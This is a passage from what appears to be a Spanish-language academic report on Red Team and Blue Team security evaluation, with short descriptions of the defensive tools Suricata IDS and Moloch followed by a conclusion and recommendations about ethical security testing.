inspeccion de paquetes para identificar amenazas en tiempo real.®!

« Caracteristicas principales: Suricata IDS ofrece analisis de trafico de red en
tiempo real, deteccion de ataques, identificacion de malware, seguimiento
de archivos y soporte para reglas de deteccion personalizadas.

e Sitio web: https://suricata-ids.org/

60 OSSEC. OSSEC Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://www.ossec.net/docs/.

61 SURICATA. Suricata Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://docs.suricata.io/en/latest/.
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6. Moloch:

« Descripcion: Moloch es una plataforma de analisis de trafico de red de
codigo abierto disefiada para almacenar y buscar grandes volumenes de
datos de tréafico de red para la deteccion y respuesta a amenazas.®?

o Caracteristicas principales: Moloch proporciona almacenamiento a largo
plazo de paquetes de red, indexacion rapida de datos, busqueda flexible,
etiquetado de sesiones y capacidades de exportacion para analisis forense.

o Sitio web: https://molo.ch/

62 ARKIME. Arkime Documentation. [En linea]. Consultado el 27 de julio de 2024. Disponible en:
https://arkime.com/learn.
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22. CONCLUSION

Al finalizar la actividad de evaluacién de los equipos Red Team & Blue Team dentro de
una organizacion, se logré obtener una vision amplia sobre sus roles en la deteccion y
mitigacion de riesgos informaticos, en linea con criterios éticos y legales. La demostracion
de vulnerabilidades mediante técnicas de intrusién, realizada de manera ética y
responsable, es esencial para fortalecer las defensas de la infraestructura digital y
proteger los datos sensibles. Este enfoque proactivo contribuye a mejorar la seguridad
cibernética y garantizar la continuidad operativa en un entorno digital en constante

evolucion.

Esta actividad no solo permitié una evaluacion practica de la seguridad informéatica, sino
gue también fomenta una cultura de conciencia y preparacion frente a las amenazas
cibernéticas. El compromiso con la ética y la responsabilidad en la deteccion y mitigacion
de vulnerabilidades se convierte en un pilar fundamental para garantizar la integridad y
la proteccién de los activos digitales de la organizacion en un mundo cada vez mas

digitalizado y conectado.
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23. RECOMENDACIONES.

Se sugiere incrementar la frecuencia del proceso de evaluacion de los equipos Red Team
& Blue Team dentro de la empresa, ya que ofrece una perspectiva completa de como
detectan y manejan los riesgos informaticos de manera ética y legal. Al demostrar
vulnerabilidades de forma ética, se refuerzan las defensas digitales y se protegen los
datos importantes. Esto fomenta una mentalidad de preparacion frente a las amenazas
cibernéticas, destacando el compromiso con la ética y la responsabilidad en la proteccion
de los activos digitales. Para mejorar, se sugiere mantener una formacion constante,
realizar simulaciones realistas, analizar los resultados, fomentar la colaboracion entre
departamentos, mantener registros detallados, comunicar de forma transparente y
evaluar regularmente. Estas acciones podrian fortalecer la seguridad en linea y

garantizaran una operatividad continua en un mundo digital en constante cambio.
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